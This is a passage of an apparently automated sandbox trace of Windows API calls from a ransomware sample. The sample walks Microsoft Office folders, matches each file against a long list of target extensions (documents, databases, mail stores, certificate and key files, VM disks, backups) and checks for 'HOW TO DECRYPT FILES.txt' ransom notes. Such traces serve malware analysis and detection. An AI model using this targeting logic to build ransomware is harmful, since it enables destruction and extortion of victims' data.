pszSpec="*.cs") returned 0 [0064.879] lstrlenA (lpString="*.cs") returned 4 [0064.879] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\ADD.GIF", pszSpec="*.cpp") returned 0 [0064.879] lstrlenA (lpString="*.cpp") returned 5 [0064.879] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\ADD.GIF", pszSpec="*.rar") returned 0 [0064.879] lstrlenA (lpString="*.rar") returned 5 [0064.879] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\ADD.GIF", pszSpec="*.zip") returned 0 [0064.879] lstrlenA (lpString="*.zip") returned 5 [0064.879] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\ADD.GIF", pszSpec="*.html") returned 0 [0064.879] lstrlenA (lpString="*.html") returned 6 [0064.879] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\ADD.GIF", pszSpec="*.htm") returned 0 [0064.879] lstrlenA (lpString="*.htm") returned 5 [0064.879] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\ADD.GIF", pszSpec="*.xlsx") returned 0 [0064.879] lstrlenA (lpString="*.xlsx") returned 6 [0064.879] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\ADD.GIF", pszSpec="*.xls") returned 0 [0064.879] lstrlenA (lpString="*.xls") returned 5 [0064.879] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\ADD.GIF", pszSpec="*.mp4") returned 0 [0064.879] lstrlenA (lpString="*.mp4") returned 5 [0064.879] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\ADD.GIF", pszSpec="*.ppt") returned 0 [0064.879] lstrlenA (lpString="*.ppt") returned 5 [0064.879] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\ADD.GIF", pszSpec="*.pptx") returned 0 [0064.879] lstrlenA (lpString="*.pptx") returned 6 [0064.879] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\ADD.GIF", pszSpec="*.doc") returned 0 [0064.879] lstrlenA (lpString="*.doc") returned 5 [0064.879] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\ADD.GIF", pszSpec="*.dot") returned 0 [0064.879] lstrlenA (lpString="*.dot") returned 5 [0064.879] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\ADD.GIF", pszSpec="*.docx") returned 0 [0064.880] lstrlenA (lpString="*.docx") returned 6 [0064.880] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\ADD.GIF", pszSpec="*.7z") returned 0 [0064.880] lstrlenA (lpString="*.7z") returned 4 [0064.880] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\ADD.GIF", pszSpec="*.tar") returned 0 [0064.880] lstrlenA (lpString="*.tar") returned 5 [0064.880] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\ADD.GIF", pszSpec="*.bz2") returned 0 [0064.880] lstrlenA (lpString="*.bz2") returned 5 [0064.880] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\ADD.GIF", pszSpec="*.gz") returned 0 [0064.880] lstrlenA (lpString="*.gz") returned 4 [0064.882] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\ADD.GIF", pszSpec="*.mkv") returned 0 [0064.883] lstrlenA (lpString="*.mkv") returned 5 [0064.883] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\ADD.GIF", pszSpec="*.eml") returned 0 [0064.883] lstrlenA (lpString="*.eml") returned 5 [0064.883] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\ADD.GIF", pszSpec="*.msg") returned 0 [0064.883] lstrlenA (lpString="*.msg") returned 5 [0064.883] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\ADD.GIF", pszSpec="*.edb") returned 0 [0064.883] lstrlenA (lpString="*.edb") returned 5 [0064.883] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\ADD.GIF", pszSpec="*.accdb") returned 0 [0064.883] lstrlenA (lpString="*.accdb") returned 7 [0064.883] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\ADD.GIF", pszSpec="*.odb") returned 0 [0064.883] lstrlenA (lpString="*.odb") returned 5 [0064.883] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\ADD.GIF", pszSpec="*.java") returned 0 [0064.883] lstrlenA (lpString="*.java") returned 6 [0064.883] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\ADD.GIF", pszSpec="*.asm") returned 0 [0064.883] lstrlenA (lpString="*.asm") returned 5 [0064.883] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\ADD.GIF", pszSpec="*.pfx") returned 0 [0064.883] lstrlenA (lpString="*.pfx") returned 5 [0064.883] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\ADD.GIF", pszSpec="*.pem") returned 0 [0064.883] lstrlenA (lpString="*.pem") returned 5 [0064.883] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\ADD.GIF", pszSpec="*.p12") returned 0 [0064.883] lstrlenA (lpString="*.p12") returned 5 [0064.884] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\ADD.GIF", pszSpec="*.gpg") returned 0 [0064.884] lstrlenA (lpString="*.gpg") returned 5 [0064.884] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\ADD.GIF", pszSpec="*.vsd") returned 0 [0064.884] lstrlenA (lpString="*.vsd") returned 5 [0064.884] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\ADD.GIF", pszSpec="*.odg") returned 0 [0064.884] lstrlenA (lpString="*.odg") returned 5 [0064.884] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\ADD.GIF", pszSpec="*.raw") returned 0 [0064.884] lstrlenA (lpString="*.raw") returned 5 [0064.884] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\ADD.GIF", pszSpec="*.nef") returned 0 [0064.884] lstrlenA (lpString="*.nef") returned 5 [0064.884] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\ADD.GIF", pszSpec="*.svg") returned 0 [0064.884] lstrlenA (lpString="*.svg") returned 5 [0064.884] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\ADD.GIF", pszSpec="*.psd") returned 0 [0064.884] lstrlenA (lpString="*.psd") returned 5 [0064.884] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\ADD.GIF", pszSpec="*.vmx") returned 0 [0064.884] lstrlenA (lpString="*.vmx") returned 5 [0064.884] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\ADD.GIF", pszSpec="*.vmdk") returned 0 [0064.884] lstrlenA (lpString="*.vmdk") returned 6 [0064.884] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\ADD.GIF", pszSpec="*.vdi") returned 0 [0064.884] lstrlenA (lpString="*.vdi") returned 5 [0064.884] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\ADD.GIF", pszSpec="*.lay6") returned 0 [0064.885] lstrlenA (lpString="*.lay6") returned 6 [0064.885] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\ADD.GIF", pszSpec="*.mpeg") returned 0 [0064.885] lstrlenA (lpString="*.mpeg") returned 6 [0064.885] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\ADD.GIF", pszSpec="*.djvu") returned 0 [0064.885] lstrlenA (lpString="*.djvu") returned 6 [0064.885] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\ADD.GIF", pszSpec="*.tiff") returned 0 [0064.885] lstrlenA (lpString="*.tiff") returned 6 [0064.885] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\ADD.GIF", pszSpec="*.backup") returned 0 [0064.885] lstrlenA (lpString="*.backup") returned 8 [0064.885] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\ADD.GIF", pszSpec="*.pdf") returned 0 [0064.885] lstrlenA (lpString="*.pdf") returned 5 [0064.885] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\ADD.GIF", pszSpec="*.cert") returned 0 [0064.885] lstrlenA (lpString="*.cert") returned 6 [0064.885] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\ADD.GIF", pszSpec="*.docm") returned 0 [0064.885] lstrlenA (lpString="*.docm") returned 6 [0064.885] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\ADD.GIF", pszSpec="*.xlsm") returned 0 [0064.885] lstrlenA (lpString="*.xlsm") returned 6 [0064.885] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\ADD.GIF", pszSpec="*.dwg") returned 0 [0064.885] lstrlenA (lpString="*.dwg") returned 5 [0064.885] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\ADD.GIF", pszSpec="*.nd") returned 0 [0064.885] lstrlenA (lpString="*.nd") returned 4 [0064.885] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\ADD.GIF", pszSpec="*.tlg") returned 0 [0064.885] lstrlenA (lpString="*.tlg") returned 5 [0064.886] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\ADD.GIF", pszSpec="*.lgb") returned 0 [0064.886] lstrlenA (lpString="*.lgb") returned 5 [0064.886] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\ADD.GIF", pszSpec="*.mov") returned 0 [0064.886] lstrlenA (lpString="*.mov") returned 5 [0064.886] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\ADD.GIF", pszSpec="*.xdw") returned 0 [0064.886] lstrlenA (lpString="*.xdw") returned 5 [0064.886] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\ADD.GIF", pszSpec="*.ods") returned 0 [0064.886] lstrlenA (lpString="*.ods") returned 5 [0064.886] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\ADD.GIF", pszSpec="*.wav") returned 0 [0064.886] lstrlenA (lpString="*.wav") returned 5 [0064.886] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\ADD.GIF", pszSpec="*.mp3") returned 0 [0064.886] lstrlenA (lpString="*.mp3") returned 5 [0064.886] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\ADD.GIF", pszSpec="*.aiff") returned 0 [0064.886] lstrlenA (lpString="*.aiff") returned 6 [0064.886] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\ADD.GIF", pszSpec="*.flac") returned 0 [0064.886] lstrlenA (lpString="*.flac") returned 6 [0064.886] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\ADD.GIF", pszSpec="*.m4a") returned 0 [0064.886] lstrlenA (lpString="*.m4a") returned 5 [0064.886] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\ADD.GIF", pszSpec="*.csv") returned 0 [0064.886] lstrlenA (lpString="*.csv") returned 5 [0064.887] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa638ad00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51767f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa638ad00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xae8, dwReserved0=0x0, dwReserved1=0x0, cFileName="attention.gif", cAlternateFileName="ATTENT~1.GIF")) returned 1 [0064.887] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0064.887] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="attention.gif") returned 1 [0064.887] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="attention.gif") returned 1 [0064.887] lstrcmpiA (lpString1="", lpString2="attention.gif") returned -1 [0064.887] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\ADD.GIF") returned="ADD.GIF" [0064.887] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\" [0064.887] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\") returned="" [0064.887] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\HOW TO DECRYPT FILES.txt" [0064.887] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\how to decrypt files.txt")) returned 0x20 [0064.887] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\", lpString2="attention.gif" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\attention.gif") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\attention.gif" [0064.887] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\attention.gif", pszSpec="*.ems") returned 0 [0064.887] lstrlenA (lpString="*.ems") returned 5 [0064.887] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\attention.gif", pszSpec="*.db") returned 0 [0064.887] lstrlenA (lpString="*.db") returned 4 [0064.887] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\attention.gif", pszSpec="*.dbf") returned 0 [0064.888] lstrlenA (lpString="*.dbf") returned 5 [0064.888] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\attention.gif", pszSpec="*.myox") returned 0 [0064.888] lstrlenA (lpString="*.myox") returned 6 [0064.888] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\attention.gif", pszSpec="*.myo") returned 0 [0064.888] lstrlenA (lpString="*.myo") returned 5 [0064.888] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\attention.gif", pszSpec="*.qbw") returned 0 [0064.888] lstrlenA (lpString="*.qbw") returned 5 [0064.888] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\attention.gif", pszSpec="*.qbb") returned 0 [0064.888] lstrlenA (lpString="*.qbb") returned 5 [0064.888] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\attention.gif", pszSpec="*.qbm") returned 0 [0064.888] lstrlenA (lpString="*.qbm") returned 5 [0064.888] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\attention.gif", pszSpec="*.qbo") returned 0 [0064.888] lstrlenA (lpString="*.qbo") returned 5 [0064.888] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\attention.gif", pszSpec="*.qbx") returned 0 [0064.888] lstrlenA (lpString="*.qbx") returned 5 [0064.888] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\attention.gif", pszSpec="*.qba") returned 0 [0064.888] lstrlenA (lpString="*.qba") returned 5 [0064.888] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\attention.gif", pszSpec="*.qby") returned 0 [0064.888] lstrlenA (lpString="*.qby") returned 5 [0064.888] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\attention.gif", pszSpec="*.qbj") returned 0 [0064.888] lstrlenA (lpString="*.qbj") returned 5 [0064.888] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\attention.gif", pszSpec="*.ofx") returned 0 [0064.889] lstrlenA (lpString="*.ofx") returned 5 [0064.889] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\attention.gif", pszSpec="*.qif") returned 0 [0064.889] lstrlenA (lpString="*.qif") returned 5 [0064.889] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\attention.gif", pszSpec="*.mye") returned 0 [0064.889] lstrlenA (lpString="*.mye") returned 5 [0064.889] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\attention.gif", pszSpec="*.mbox") returned 0 [0064.889] lstrlenA (lpString="*.mbox") returned 6 [0064.889] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\attention.gif", pszSpec="*.eml") returned 0 [0064.889] lstrlenA (lpString="*.eml") returned 5 [0064.889] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\attention.gif", pszSpec="*.pst") returned 0 [0064.889] lstrlenA (lpString="*.pst") returned 5 [0064.889] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\attention.gif", pszSpec="*.ost") returned 0 [0064.889] lstrlenA (lpString="*.ost") returned 5 [0064.889] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\attention.gif", pszSpec="*.idx") returned 0 [0064.889] lstrlenA (lpString="*.idx") returned 5 [0064.889] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\attention.gif", pszSpec="*.dbx") returned 0 [0064.889] lstrlenA (lpString="*.dbx") returned 5 [0064.889] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\attention.gif", pszSpec="*.sql") returned 0 [0064.889] lstrlenA (lpString="*.sql") returned 5 [0064.889] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\attention.gif", pszSpec="*.mdb") returned 0 [0064.889] lstrlenA (lpString="*.mdb") returned 5 [0064.889] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\attention.gif", pszSpec="*.fdb") returned 0 [0064.889] lstrlenA (lpString="*.fdb") returned 5 [0064.889] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\attention.gif", pszSpec="*.wab") returned 0 [0064.889] lstrlenA (lpString="*.wab") returned 5 [0064.890] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\attention.gif", pszSpec="*.dat") returned 0 [0064.890] lstrlenA (lpString="*.dat") returned 5 [0064.890] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\attention.gif", pszSpec="*.txt") returned 0 [0064.890] lstrlenA (lpString="*.txt") returned 5 [0064.890] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\attention.gif", pszSpec="*.jpeg") returned 0 [0064.890] lstrlenA (lpString="*.jpeg") returned 6 [0064.890] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\attention.gif", pszSpec="*.jpg") returned 0 [0064.890] lstrlenA (lpString="*.jpg") returned 5 [0064.890] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\attention.gif", pszSpec="*.png") returned 0 [0064.890] lstrlenA (lpString="*.png") returned 5 [0064.890] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\attention.gif", pszSpec="*.php") returned 0 [0064.890] lstrlenA (lpString="*.php") returned 5 [0064.890] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\attention.gif", pszSpec="*.cs") returned 0 [0064.890] lstrlenA (lpString="*.cs") returned 4 [0064.890] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\attention.gif", pszSpec="*.cpp") returned 0 [0064.890] lstrlenA (lpString="*.cpp") returned 5 [0064.890] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\attention.gif", pszSpec="*.rar") returned 0 [0064.890] lstrlenA (lpString="*.rar") returned 5 [0064.890] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\attention.gif", pszSpec="*.zip") returned 0 [0064.890] lstrlenA (lpString="*.zip") returned 5 [0064.890] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\attention.gif", pszSpec="*.html") returned 0 [0064.890] lstrlenA (lpString="*.html") returned 6 [0064.890] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\attention.gif", pszSpec="*.htm") returned 0 [0064.890] lstrlenA (lpString="*.htm") returned 5 [0064.890] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\attention.gif", pszSpec="*.xlsx") returned 0 [0064.890] lstrlenA (lpString="*.xlsx") returned 6 [0064.891] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\attention.gif", pszSpec="*.xls") returned 0 [0064.891] lstrlenA (lpString="*.xls") returned 5 [0064.891] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\attention.gif", pszSpec="*.mp4") returned 0 [0064.891] lstrlenA (lpString="*.mp4") returned 5 [0064.891] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\attention.gif", pszSpec="*.ppt") returned 0 [0064.891] lstrlenA (lpString="*.ppt") returned 5 [0064.891] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\attention.gif", pszSpec="*.pptx") returned 0 [0064.891] lstrlenA (lpString="*.pptx") returned 6 [0064.891] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\attention.gif", pszSpec="*.doc") returned 0 [0064.891] lstrlenA (lpString="*.doc") returned 5 [0064.891] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\attention.gif", pszSpec="*.dot") returned 0 [0064.891] lstrlenA (lpString="*.dot") returned 5 [0064.891] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\attention.gif", pszSpec="*.docx") returned 0 [0064.891] lstrlenA (lpString="*.docx") returned 6 [0064.891] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\attention.gif", pszSpec="*.7z") returned 0 [0064.891] lstrlenA (lpString="*.7z") returned 4 [0064.891] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\attention.gif", pszSpec="*.tar") returned 0 [0064.891] lstrlenA (lpString="*.tar") returned 5 [0064.891] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\attention.gif", pszSpec="*.bz2") returned 0 [0064.891] lstrlenA (lpString="*.bz2") returned 5 [0064.891] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft 